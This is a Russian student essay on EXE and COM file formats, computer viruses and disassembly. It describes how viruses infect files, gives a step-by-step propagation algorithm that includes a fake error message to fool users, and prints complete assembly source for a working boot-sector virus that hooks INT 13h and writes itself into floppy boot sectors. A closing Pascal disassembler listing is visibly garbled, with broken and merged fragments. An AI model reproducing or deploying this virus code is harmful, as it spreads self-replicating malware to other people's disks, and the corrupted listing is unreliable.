Рефераты

Семантический анализ структуры EXE файла и дисассемблер (с примерами и исходниками), вирусология

конкретной причины.

ОСНОВНЫЕ ПОЛОЖЕНИЯ НА ПАМЯТЬ

- Объем COM-файла ограничен 64К.

- COM-файл меньше, чем соответствующий EXE-файл.

- Программа, написанная для выполнения в COM-формате не содержит

стека и сегмента данных и не требует инициализации регистра DS.

- Программа, написанная для выполнения в COM-формате

использует директиву ORG 100H после директивы SEGMENT для

выполнения с адреса после префикса программного сегмента.

- Программа EXE2BIN преобразует EXE-файл в COM-файл,

обусловленный указанием типа COM во втором операнде.

- Операционная система DOS определяет стек для COM-программы или

в конце программы, если позволяет размер, или в конце памяти.

3. Принцип действия и распространения вируса.

Писать вирусы можно по разным причинам. Кому-то нравится изучать

системные вызовы, искать «дыры» в антивирусах и совершенствовать свои

знания в ассемблере, то есть исключительно программирование. У кого-то

коммерческие или целенаправленные методы. Что же такое вирус ? Вирус – это

творчество, изобретение новых приемов программирования, знание системы как

пяти пальцев.

Есть такая группа людей, кто стремится навредить всем подряд,

вставляя в свои вирусы так называемую деструкцию(изменение различных

настроек системы компьютера). Такие написанные вирусы-деструкторы, способны

стирать FAT-таблицы жестких дисков или даже выжигать монитор.

Рассмотрим вирус, заражающий ЕХЕ-файлы. Приведена классификация

таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между

ними, достоинства и недостатки.

Вирусы заражающие EXE-файла можно поделить на несколько групп:

*Я рассматриваю - вирусы написанные в основном на ассемблере, имеющие не

большой размер.

Вирусы, замещающие программный код (Overwrite)

Такие вирусы уже давно устарели и в наши дни они редко

распространены.

Инфицированные программы не исполняются, так как вирус записывается

поверх программного кода, не сохраняя его. При запуске вирус ищет очередную

жертву (или жертвы), открывает найденный файл для редактирования и

записывает свое «тело» в начало программы, не сохраняя оригинальный код.

Инфицированные этими вирусами программы лечению не подлежат.

Вирусы-спутники (Companion)

Эти вирусы получили свое название из-за алгоритма размножения: К

каждому инфицированному файлу создается файл-спутник. Рассмотрим более

подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого

инфицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом,

имеющий такое же имя, что и ЕХЕ-файл, но с расширением

СОМ. Вирус активируется, если при запуске программы в командной

строке указано только имя исполняемого файла. Если СОМ-файл с таким именем

не найден, ведется поиск одноименного ЕХЕ-файла. Если

не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный)

файл. Другими словами, когда пользователь хочет за-

пустить программу и набирает в командной строке только ее имя, первым

управление получает вирус, код которого находится в СОМ-файле. Он создает

СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем

исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же

думает, что работает только запущенная ЕХЕ-программа. Вирус-спутник

обезвредить довольно просто - достаточно удалить СОМ-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого

ЕХЕ-файла остается прежним, а расширение заменяется каким-либо

другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,

файл может получить расширение DAT (файл данных) или OVL (программный

оверлей). Затем на место ЕХЕ-файла копируется вирусный

код. При запуске такой инфицированной программы управление полу-

чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один

или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному

файлу исполняемое расширение (но не ЁХЕ, а СОМ, поскольку ЕХЕ-файл с таким

именем занят вирусом), после чего исполняет его. Когда работа

инфицированной программы закончена, ее

запускаемому файлу возвращается расширение неисполняемого. Лечение файлов,

зараженных вирусом этого типа, может быть затруднено,

если вирус-спутник шифрует часть или все тело инфицируемого файла,

а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу (Parasitic)

Вирусы этого вида самые незаметные: их код записывается в инфицируемую

программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим

методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.

Способы заражения ЕХЕ-файлов

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец

файла дописывается тело вируса, а заголовок корректируется (с сохранением

оригинального) так, чтобы при запуске инфицированного файла

управление получал вирус. Похоже на заражение СОМ-файлов, но вместо задания

в коде перехода в начало вируса корректируется собственно

адрес точки запуска программы. После окончания работы вирус берет из

сохраненного заголовка оригинальный адрес запуска программы, прибавляет к

его сегментной компоненте значение регистра DS или ES (полученное при

старте вируса) и передает управление на полученный адрес.

Второй способ таков - внедрение вируса в начало файла со сдвигом кода

программы. Механизм заражения такой: тело инфицируемой программы

считывается в память, на ее место записывается вирусный код, а после

него - код инфицируемой программы. Таким образом, код программы

как бы "сдвигается" в файле на длину кода вируса. Отсюда и название

способа - "способ сдвига". При запуске инфицированного файла вирус

заражает еще один или несколько файлов. После этого он считывает

в память код программы, записывает его в специально созданный на

диске временный файл с расширением исполняемого файла (СОМ или

ЕХЕ), и затем исполняет этот файл. Когда программа закончила работу,

временный файл удаляется. Если при создании вируса не применялось

дополнительных приемов защиты, то вылечить инфицированный

файл очень просто - достаточно удалить код вируса в начале файла,

и программа снова будет работоспособной. Недостаток этого метода

в том, что приходится считывать в память весь код инфицируемой про-

граммы (а ведь бывают экземпляры размером больше 1Мбайт).

Следующий способ заражения файлов - метод переноса который является

самым совершенным из всех ранее перечисленных. Вирус

размножается следующим образом: при запуске инфицированной программы тело

вируса из нее считывается в память. Затем ведется поиск

неинфицированной программы. В память считывается ее начало,

по длине равное телу вируса. На это место записывается тело вируса.

Начало программы из памяти дописывается в конец файла. Отсюда название

метода - "метод переноса". После того, как вирус инфицировал

один или несколько файлов, он приступает к исполнению программы,

из которой запустился. Для этого он считывает начало инфицированной

программы, сохраненное в конце файла, и записывает его в начало файла,

восстанавливая работоспособность программы. Затем вирус удаляет код начала

программы из конца файла, восстанавливая оригинальную длину файла, и

исполняет программу. После завершения программы вирус вновь записывает свой

код в начало файла, а оригинальное начало программы - в конец. Этим методом

могут быть инфицированы даже антивирусы, которые проверяют свой код на

целостность, так как запускаемая вирусом программа имеет в точности такой

же код, как и до инфицирования.

Рассмотрим алгоритм распространения Вируса.

Overwrite-вирус:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех фай-

лов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например

"Abnormal program termination" или "Not enough memory", - как бы, пусть

пользователь не слишком удивляется тому, что программа не запустилась.

12. Завершить программу.

В большинстве случаев для написания вируса широко используются

функции DOS-а. Их достаточно много всех не будем рассматривать, приведу

пример только одного из них.

DOS, функция 21h

Считать произвольную запись файла

Вход:

AH-21h

DS:DX - адрес открытого FCB (Таблица Б-2)

Выход:

AL=OOh, если чтение было успешным и DTA заполнена данными

AL°01h, если достигнут конец файла (EOF) и чтения не было

AL=02h, если произошел выход за сегмент (чтения нет)

AL°03h, если встречен EOF и усеченная запись дополнена нулями

Описание.

Данная функция читает из файла с текущей позиции как с указанной в полях

FCB "Запись с текущей позиции" и "Номер записи при непосредственном доступе

к файлу".

Другие функции:

DOS, функция OOh

Завершить программу

DOS, функция 01h

Считать со стандартного устройства ввода

DOS, функция 02h

Записать в стандартное устройство вывода

DOS, функция 03h

Считать символа со стандартного вспомогательного устройства

DOS, функция 04h

Записать символ в стандартное вспомогательное устройство

DOS, функция 05h

Вывести на принтер

DOS, функция 06h

Консольный ввод-вывод

DOS, функция 09h

Запись строки на стандартный вывод

DOS, функция OAh

Ввод строки в буфер

DOS, функция ODh

Сброс диска

DOS, функция OEh

Установить текущий диск DOS

DOS, функция 13h

Удалить файл через FCB

DOS, функция 15h

Последовательная запись в файл через FCB

DOS, функция 17h

Переименовать файл через FCB

DOS, функция 22h

Писать произвольную запись файла

DOS, функция 26h

Создать новый PSP

DOS, функция 27h

Читать произвольный блок файла

DOS, функция 28h

Писать произвольный блок файла

DOS, функция 31h

Завершиться и остаться резидентным

DOS, функция 3Ah

Удалить оглавление

DOS, функция 41h

Удалить файл

DOS, функция 43h

Установить/опросить атрибуты файла

DOS, функция 44h

Управление устройством ввода/вывода

DOS, функция 4Bh

Выполнить или загрузить программу

DOS, функция 4Ch

Завершить программу

DOS, функция 57h

Установить/опросить дату/время файла

DOS, функция 5Ah

Создать уникальный временный файл

DOS, функция 68h

Завершить файл.

Список наиболее часто используемых функций DOS.(ассемблер пример)

[AK] Вот список функций, которые важно помнить при разработке вирусов:

Установить адрес DTA.

~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 1Ah

ds:dx = адрес

выход:

нет

Получить адрес DTA.

~~~~~~~~~~~~~~~~~~~

вход:

ah = 2Fh

выход:

es:bx = текущий адрес

Create - Создать файл.

~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Ch

cx = атрибуты файла (таб 1)

ds:dx = путь и имя файла в формате asciz

выход:

if CF=0 then

ax = дескриптор файла

else

ax = код ошибки (3,4,5) (таб 2)

Open - Открыть существующий файл

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Dh

al = режим доступа (таб 2)

cx = атрибуты

ds:dx = имя

выход:

if CF=0 then

ax = дескриптор файла

else

ax = код ошибки (1,2,3,4,5,0C)

Close - Закрыть файл

~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Eh

bx = дескриптор

ds:dx = имя

выход:

if CF=0 then

ax =

else

ax = код ошибки (6)

Read - Чтение из файла

~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Fh

bx = дескриптор

cx = число байт

ds:dx = буфер для чтения

выход:

if CF=0 then

ax = число прочитанных байт

Это значение может быть меньше CX.

Например потому, что превысили длину файла.

else

ax = код ошибки (5,6)

Write - Записать в файл

~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 40h

bx = дескриптор

cx = число байт

ds:dx = данные для записи

выход:

if CF=0 then

ax = число записанных байт

else

ax = код ошибки (5,6)

Unlink - Удалить файл

~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 41h

cx = атрибуты

ds:dx = имя

выход:

if CF=0 then

ax =

else

ax = код ошибки (2,3,5)

LSeek - Установить указатель в файле

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 42h

al = точка отсчета указателя:

0 - от начала файла

1 - от текущего положения

2 - от конца

bx = дескриптор

cx:dx = смещение (cx=старшие 16 бит, dx=младшие)

выход:

if CF=0 then

dx:ax = новое положение указателя относительно начала

else

ax = код ошибки (1,6)

Получить атрибуты файла

~~~~~~~~~~~~~~~~~~~~~~~

вход:

ax = 4300h

ds:dx = имя

выход:

if CF=0 then

cx = атрибуты

else

ax = код ошибки (1,2,3,5)

Chmod - Установить атрибуты файла

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ax = 4301h

cx = новые атрибуты

ds:dx = имя

выход:

if CF=0 then

ax =

else

ax = код ошибки (1,2,3,5)

Выделить блок памяти

~~~~~~~~~~~~~~~~~~~~

вход:

ah = 48h

bx = размер блока в параграфах

выход:

if CF=0 then

ax = сегмент блока

else

ax = код ошибки (7,8)

bx = размер наибольшего доступного блока

Освободить память

~~~~~~~~~~~~~~~~~

вход:

ah = 49h

es = сегмент блока

выход:

if CF=0 then

ax =

else

ax = код ошибки (7,9)

Изменить размер блока памяти

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 4Ah

bx = новый размер

es = сегмент

выход:

if CF=0 then

ax =

else

ax = код ошибки (7,8,9)

bx = размер наибольшего доступного блока

Exec - загрузить или выполнить программу.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 4Bh

al = тип загрузки:

0 - загрузить и выполнить

1 - загрузить и не выполнять

3 - загрузить оверлей

4 - загрузить и выполнить в фоновом режиме (dos 4.0)

es:bx = блок параметров (таб 3)

ds:dx = имя программы

выход:

if CF=0 then

bx,dx разрушены

else

ax = код ошибки (1,2,5,8,0A,0B)

Пример элементарного BOOT-вируса:

.286

.model tiny

.code

org 00h

start: jmp install

;jmp fkс

table: ; А вот тут будет таблица диска

org 4ch ; много места ей, но...

fkс: nop ;

xor di,di ; обнулим их

mov ds,di ; DS=0

cli ;

mov ss,di ; SS=0

mov si,7c00h ; SI - адрес в памяти, там мы

; начинаемся.

mov bx,si ; запомним это... еще пригодится

mov sp,si

sti

dec word ptr ds:[0413h] ; стока памяти дос

mov ax,ds:[0413h] ; в АХ размер дос-памяти в килобайтах

mov cl,06 ; чтобы получить сегмент надо число

shl ax,cl ; килобайт умножить на 40h

; немного арифметики - сегмент считают

; от начала памяти в параграфах, пара-

; граф=10h байт, 40h параграфов=400h

; байт=1кБт. дальше все ясно.

mov es,ax ; ES=адрес нового сегмента

push ax ; в стек его - будем делать переход

mov ax,offset inst_int ; на это вот смещение

push ax ; и его в стек тоже

mov cx,200h ; но сперва надо перенести свое тело

cld ; в этот вот сегмент

rep movsb ; переносим

retf ; переход через стек

inst_int: ; здесь мы уже в новом сегменте

mov ax,ds:[13h*4] ; INT 0E0h=INT 13h original

mov ds:[0e0h*4],ax ;

mov ax,ds:[13h*4+2] ;

mov ds:[0e0h*4+2],ax ;

mov word ptr ds:[13h*4],offset int13 ; INT 13h=наш обработчик

mov ds:[13h*4+2],cs ;

xor cx,cx

push cx ; снова подготовка к переходу

push bx ; через стек в точку 0000:7C00h

mov es,cx

mov ax,0201h ; читать нормальный бут-сектор

mov cx,cs:floppy_sect ; вот отсюда его и читать

mov dh,cs:floppy_head ;

xor dl,dl ; с диска А: естественно

int 0e0h ; вызов оригинального INT 13h

run_boot:

retf ; запустить бут.

;------ *** Hаш обработчик INT 13h *** -------

int13: mov cs:shit,ax ; сохраним ax

int 0e0h ; выполним операцию

jnc int_continue ; если была ошибка уходим

jmp int_exit

int_continue:

pushf ; флаги запомнить надо!

cmp byte ptr cs:[shit+1],2 ; reading sectors?

jnz g1

cmp cx,0001

jne g1

cmp dh,0 ; читаем бут

jne g1

cmp dl,01 ; не с винта надеюсь?

jna fkс_boot

g1: jmp get_out

;------------- Обработчик чтения бута с дискеты ---------------

fkс_boot:

pusha

push ds es

push es

pop ds

lea di,fkс ; сравним то что у нас по смещению fkс

mov ax,cs:[di] ; с тем что мы прочитали по тому же смещению

mov si,bx ; Так мы проверяем заражен ли

add si,offset fkс ; уже нами бут-сектор

cmp ax,[si] ;

jz exit_boot_work ; если нет то уйдем отсюда

cmp dl,1 ; на всякий пожарный :) В принципе можете

ja exit_boot_work ; эту проверку выкинуть - она уже была

find_place: ; поиск места куда прятать старый бут-сектор

mov ax,[bx+16h] ; ax=число секторов в FAT

mul byte ptr [bx+10h] ; умножим его на число FAT

add ax,[bx+0eh] ; прибавим число резервных секторов для FAT--

push dx ; запомним dx - там номер диска и сторона |

mov cl,4 ; |

mov dx,[bx+11h] ; dx=число элементов корневого каталога |

; 1 элемент занимает 32 байта |

shr dx,cl ; поделим его на 16 - получим число сектров |

; корня, вроде бы так... |

add ax,dx ; прибавим к AX------------------------------

dec ax ; уменьшим на 1

; в AX порядковый номер последнего сектора

; ROOT'a... ???

mov cx,[bx+18h] ; cx=число секторов на дорожке

push cx ; запомним его

shl cx,1 ; умножим на 2

xor dx,dx ; dx=0

div cx ; поделим DX:AX на CX

pop cx ; вытащим CX из стека - там число секторов на

; дорожке было

push ax ; запомним частное от предыдущего деления

mov ax,dx ; в AX занесем остаток от деления

xor dx,dx ; DX=0

div cx ; поделим еще раз

mov dh,al ; DH=номер головки

mov cl,dl ; CL=номер сектора

pop ax ; выкинем AX

mov ch,al ; CH=номер дорожки

inc cl ; прибавим к нему 1

pop ax ; AX=бывшее DX - там была сторона и номер

; дисковода

mov dl,al ; номер в DL

mov cs:floppy_sect,cx ; то что получилось запомним

mov cs:floppy_head,dh

;---------all found dh,cx rules---------

mov ax,0301h ; записать старый бут куда надо

int 0e0h

jc exit_boot_work ; если была ошибка - прекратить работу

; чтобы не убить диск совсем

; можно этого и не делать, едва ли что

; случится - вероятность того что вычисленный

; нами сектор BAD очень низка, но...

push cs

pop es

lea di,table ; скопируем из бута в свое тело таблицу

mov si,bx ; параметров диска

add si,offset table ;

mov cx,4ch-3 ;

rep movsb ;

push cs

pop es

mov ax,0301h ; запишемся в бут-сектор

xor bx,bx

mov cx,0001

xor dh,dh

int 0e0h

exit_boot_work:

pop es ds ; восстановим все что убили

popa

get_out:

popf ; и флаги обязательно

int_exit:

retf 2 ; выход из прерывания

;-------------data block--------------

floppy_sect dw 2f08h

floppy_head db 01

shit dw 0

org 510

sign dw 0aa55h ; чтобы не выдавали сообщения NDD и прочие...

; это просто метка системного сектора

; ----- Инсталлятор вируса в бут дискеты -----

install:

mov cs:[0000],4aebh

mov byte ptr cs:[0002],090h ; нужная команда

push ds

xor ax,ax

mov ds,ax

mov ax,ds:[13h*4]

mov ds:[0e0h*4],ax

mov ax,ds:[13h*4+2]

mov ds:[0e0h*4+2],ax

mov word ptr ds:[13h*4],offset int13

mov ds:[13h*4+2],cs

pop ds

push cs

pop es

mov ax,0201h

mov cx,0001

mov dx,0000

mov bx,offset our_buffer

int 13h

xor ax,ax

mov ds,ax

mov ax,ds:[0e0h*4]

mov ds:[13h*4],ax

mov ax,ds:[0e0h*4+2]

mov ds:[13h*4+2],ax

mov ax,4c00h

int 21h

our_buffer:

end start

Существуют очень много вирусов, под разные операционные системы, имеющие

различные цели, написанные на разных языках высокого и низкого уровней.

МЕТОДЫ БОРЬБЫ С ВИРУСАМИ.

Почему-то многие считают, что антивирус может обнаружить любой вирус,

то есть, запустив антивирусную программу или монитор, можно быть абсолютно

уверенным в их надежности. Дело в том, что антивирус - это тоже программа,

конечно, написанная профессионалом. Но эти программы способны распознавать

и уничтожать только известные вирусы. На 100% защититься от вирусов

практически невозможно (как если бы, пользователь меняется дискетами с

друзьями, а также получает информацию из других источников, например из

сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом

невозможно - сам он ни когда не родится.

Наиболее широкое распространение по борьбе с вирусами получили такие

программы как DrWeb и AVP. Благодаря своим новейшим детекторам, они могут

обнаружить любые вирусы - как самые старые, так и только что появившиеся.

Всегда нужно проверять файлы, попадающие на компьютер. Любой из них может

быть заражен вирусом, это нужно помнить. Стараться никогда не давать

работать посторонним на вашем компьютере - именно они

чаще всего приносят вирусы. Особое внимание следует уделять играм -

чаще всего вирусы распространяются именно так. Новые игры и программы

всегда нужно проверять на вирус.

4. Дисассемблер

Когда готовый программный продукт, можно будет редактировать,

переделывать по своему желанию, увидеть исходное написанной программы – это

называется дисассемблированием.

Существуют множество готовых программ-дисассемблеров, такие как: Hex-

редакторы, Win32Dasm, DASM v3, Dasm048 (для 486 процессоров), DASM6208 и

т.д. Но недостатки всех этих дисассемблеров в том что в них не указывают

например директивы (Директивы этой группы предназначены для управления

видом файла листинга. Все директивы являются парными — это означает, что

если одна директива что-то разрешает, то другая, наоборот, запрещает), а

так же все они не способны полностью восстановить исходное программы. Чтобы

вносить изменения в программу нужны достаточно хорошие знания ассемблера.

6. Программы

1) Программы выполненная на ассемблере. Запустив программу можно вводит до

256 символов и одновременно выводить на экран(аналогичность команды DOS-

“copy con”). Выход клавишей ENTER. Здесь так же можно изменять вид экрана,

цветовую палитру, прокрутку экрана, размер курсора.

page 60,132 ;Вывод символа и его скэн кода

model small

title Пробная программа

sseg segment para private 'stack'

dw 32 dup('??')

sseg ends

dseg segment para private 'data'

maska db 30h

KSIM DB 3

ROW DB 0

COL DB 0

SIM DB ' '

SCAN DB ' '

CHISLO DB ' '

STRSIM DB 100 DUP(' ')

dseg ends

cseg segment para private 'code'

assume ss:sseg,ds:dseg,cs:cseg,es:nothing

sum proc far ;Начало программы

push ds

sub ax,ax

push ax

mov ax,dseg

mov ds,ax

MOV AH,00H ;Установка 64-цветного режима

INT 10H

MOV AX,0600H ;Полная прокрутка экрана

MOV BH,07

MOV CX,0000

MOV DX,184FH

INT 10H

MOV AH,01 ; Установка размера курсора

MOV CH,06

MOV CL,07

INT 10H

MOV KSIM,0

MOV ROW,00 ; Задание начальных значении

MOV COL,00

MOV SI,0

MOV KSIM,10

M:

MOV AH,02; Установка курсора

MOV BH,00

MOV DH,ROW

MOV DL,COL

INT 10H

MOV AH,00 ;Ввод символа с клавиатуры

INT 16H

MOV STRSIM[SI],AL

SUB AH,28 ; KLAVISHA ENTER (exit)

JZ M1 ;Переход если ноль

MOV AH,09H ; Вывод очередного символа в позицию курсора

MOV AL,STRSIM[SI]

MOV BH,00

MOV BL,212

MOV CX,1

INT 10H

ADD COL,1

ADD SI,1

INC KSIM

JMP M ;Безусловный переход

M1:

ret ; Возврат из подпрограммы(RET-optional pop-value)

sum endp

cseg ends

end sum

2) Исходник программы дисассемблер выполненный на паскале:

---------- include file IO.INC ---- CUT HERE FOR IO.INC -------------

procedure WriteHex(B: byte);

const

Hex: ARRAY [0 .. 15] OF CHAR = '0123456789ABCDEF';

var

i: integer;

begin

for i:= 1 downto 0 do

write(Hex[((B shr (i shl 2)) and $000F)])

end;

procedure WritelnHex(B: byte);

begin

WriteHex(B);

writeln

end;

procedure WriteHexInt(N: integer);

begin

WriteHex(N shr 8);

WriteHex(N and $00FF)

end;

procedure WritelnHexInt(N: integer);

begin

WriteHex(N shr 8);

WritelnHex(N and $00FF)

end;

procedure WriteAddress(N, M: integer);

begin

WriteHexInt(N);

Write(':');

WriteHexInt(M)

end;

procedure HexString(var Str; N: INTEGER);

const

Hex: ARRAY [0 .. 15] OF CHAR = '0123456789ABCDEF';

var

i: byte;

begin

for i:= 0 to Mem[Seg(Str):Ofs(Str)] - 1 do

Mem[Seg(Str):(Ofs(Str)+Mem[Seg(Str):Ofs(Str)]-i)] :=

Ord(Hex[((N shr (i shl 2)) and $000F)])

end;

procedure WriteDouble(High, Low: INTEGER);

type

LongInt = ARRAY [0..3] OF BYTE;

const

Divisors : ARRAY [0..9] OF LongInt = ( ( 0, 0, 0, 1),

( 0, 0, 0, $A),

( 0, 0, 0, $64),

( 0, 0, 3, $E8),

( 0, 0, $27, $10),

( 0, 1, $86, $A0),

( 0, $F, $42, $40),

( 0, $98, $96, $80),

( 5, $F5, $E1, 0),

($3B, $9A, $CA, 0) );

var

i, j : INTEGER;

CharOffset,

Digit : BYTE;

Rep : ARRAY [0..9] OF CHAR;

Number : LongInt absolute Low;

OldNumber : LongInt;

stop : BOOLEAN;

begin

CharOffset := Ord(' ');

OldNumber := Number;

Rep := ' ';

for i:=9 downto 0 do begin

Digit := 0;

Number := OldNumber;

stop := false;

repeat

(* subtract Divisor from TestNumber *)

for j:=0 to 3 do begin

Number[j] := Number[j] - Divisors[i][3-j];

if (Number[j] > OldNumber[j]) AND (j<>3) then

Number[j+1] := number[j+1] - 1;

end;

if (Number[3] \io.inc *)

(*$I \sort.box *)

const

SymbolTableSize = 2000;

type

TableEntry = RECORD

offset,

reference : INTEGER;

reftype : ReferenceTypes;

position : BYTE

END;

var

SymbolTable,

AuxTable : ARRAY [0 .. SymbolTableSize] OF TableEntry;

Current_SymbolTable_Index,

Symbol_Table_Length,

SortInputIndex,

SortOutputIndex,

SortStatus : INTEGER;

(* TOOLBOX SORT interface *)

procedure Inp;

begin

while SortInputIndex < Symbol_Table_Length do begin

SortRelease(SymbolTable[SortInputIndex]);

SortInputIndex := succ(SortInputIndex)

end;

end;

procedure Outp;

begin

while (NOT SortEOS) AND (SortOutputIndex blank) AND (Line[CharPos] <> tab)

*)

(* AND (Line[CharPos] <> semicolon) )

*)

(* AND (CharPos blank) *)

(* AND (Line[CharPos] <> tab) *)

(* AND (Line[CharPos] <> comma) *)

(* AND (Line[CharPos] <> semicolon) *)

(* AND (CharPos Length(Line) ) *)

(* remark: this function should perhaps be inline *)

if CharPos > Ord(Line[0]) then Stop := true

else if Line[CharPos] = semicolon then begin

Stop := true;

Result.Comment := CharPos

end

else Stop := false

end;

function Appropriate: BOOLEAN;

(* Find out whether the current line should be parsed *)

var

k: INTEGER;

begin

CharPos := 1;

if (Length(Line) semicolon then begin

Appropriate := true;

if Line[k] = colon then begin

CharPos := k + 1;

end

end else begin

Appropriate := false;

Result.Comment := k

end

end

end;

begin (* ParseLine *)

with Result do begin

TypeOverride := None;

Offset[0] := Chr(0);

HexCode[0] := Chr(0);

OpCode[0] := Chr(0);

Operand1[0] := Chr(0);

Operand2[0] := Chr(0);

Comment := Ord(Line[0]) + 1;

if NOT Appropriate then goto EndParseLine;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBT;

(* Offset := Copy(Line, k, CharPos-k); *)

Offset[0] := Chr(CharPos-k);

Move(Line[k], Offset[1], CharPos-k);

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBT;

(* HexCode := Copy(Line, k, CharPos-k); *)

HexCode[0] := Chr(CharPos-k);

Move(Line[k], HexCode[1], CharPos-k);

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBT;

(* OpCode := Copy(Line, k, CharPos-k); *)

OpCode[0] := Chr(CharPos-k);

Move(Line[k], OpCode[1], CharPos-k);

SkipBT; if Stop then goto EndParseLine;

(* at first operand *)

k := CharPos;

SkipUBTC;

(* Operand1 := Copy(Line, k, CharPos-k); *)

Operand1[0] := Chr(CharPos-k);

Move(Line[k], Operand1[1], CharPos-k);

case Operand1[1] of

'B': if Operand1 = 'BYTE' then begin

TypeOverride := B;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand1 := Copy(Line, k, CharPos-k); *)

Operand1[0] := Chr(CharPos-k);

Move(Line[k], Operand1[1], CharPos-k);

end;

'W': if Operand1 = 'WORD' then begin

TypeOverride := W;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand1 := Copy(Line, k, CharPos-k); *)

Operand1[0] := Chr(CharPos-k);

Move(Line[k], Operand1[1], CharPos-k);

end;

'D': if Operand1 = 'DWORD' then begin

TypeOverride := D;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand1 := Copy(Line, k, CharPos-k); *)

Operand1[0] := Chr(CharPos-k);

Move(Line[k], Operand1[1], CharPos-k);

end;

'F': if Operand1 = 'FAR' then begin

TypeOverride := F;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand1 := Copy(Line, k, CharPos-k); *)

Operand1[0] := Chr(CharPos-k);

Move(Line[k], Operand1[1], CharPos-k);

end;

end;

SkipBTC; if Stop then goto EndParseLine;

(* second operand *)

k := CharPos;

SkipUBTC;

(* Operand2 := Copy(Line, k, CharPos-k); *)

Operand2[0] := Chr(CharPos-k);

Move(Line[k], Operand2[1], CharPos-k);

(* check for type override operators *)

case Operand2[1] of

'B': if Operand2 = 'BYTE' then begin

TypeOverride := B;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand2 := Copy(Line, k, CharPos-k); *)

Operand2[0] := Chr(CharPos-k);

Move(Line[k], Operand2[1], CharPos-k);

end;

'W': if Operand2 = 'WORD' then begin

TypeOverride := W;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand2 := Copy(Line, k, CharPos-k); *)

Operand2[0] := Chr(CharPos-k);

Move(Line[k], Operand2[1], CharPos-k);

end;

'D': if Operand2 = 'DWORD' then begin

TypeOverride := D;

SkipBT; if Stop then goto EndParseLine;

SkipUBT;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand2 := Copy(Line, k, CharPos-k); *)

Operand2[0] := Chr(CharPos-k);

Move(Line[k], Operand2[1], CharPos-k);

end;

'F': if Operand2 = 'FAR' then begin

TypeOverride := F;

SkipBT; if Stop then goto EndParseLine;

k := CharPos;

SkipUBTC;

(* Operand2 := Copy(Line, k, CharPos-k); *)

Operand2[0] := Chr(CharPos-k);

Move(Line[k], Operand2[1], CharPos-k);

end

end

end;

EndParseLine: end;

procedure Pass1;

var

_Offset,

_Label, _Mem,

Status : INTEGER;

function OperandType(var Operand: STR12): ReferenceTypes;

begin

case Operand[2] of

'X': case Operand[1] of

'A': OperandType := W;

'B': OperandType := W;

'C': OperandType := W;

'D': OperandType := W

end;

'S': case Operand[1] of

'C': OperandType := W;

'D': OperandType := W;

'E': OperandType := W;

'S': OperandType := W

end;

'L': case Operand[1] of

'A': OperandType := B;

'B': OperandType := B;

'C': OperandType := B;

'D': OperandType := B

end;

'H': case Operand[1] of

'A': OperandType := B;

'B': OperandType := B;

'C': OperandType := B;

'D': OperandType := B

end;

'I': case Operand[1] of

'S': OperandType := W;

'D': OperandType := W

end;

'P': case Operand[1] of

'B': OperandType := W;

'S': OperandType := W

end

end (* case *)

end;

procedure MemoryOperand(var Operand, OperandX: STR12; Position: BYTE;

ExplicitType:

ReferenceTypes);

begin

if (Ord(Operand[0])=6) then begin

if (Operand[1] = '[') AND (Operand[6] = ']') then begin

Val ( '$'+Copy(Operand, 2, 4), _Mem, Status);

if Status = 0 then begin (* valid 4 digit hex number *)

case ExplicitType of

N: ExplicitType := W; (* indirect jump or call *)

F: ExplicitType := D (* far indirect jump or call *)

end;

if (ExplicitType <> None) then

StoreReference (_Offset, _Mem, ExplicitType, Position)

else

StoreReference (_Offset, _Mem, OperandType(OperandX), Position);

end (* valid memory operand *)

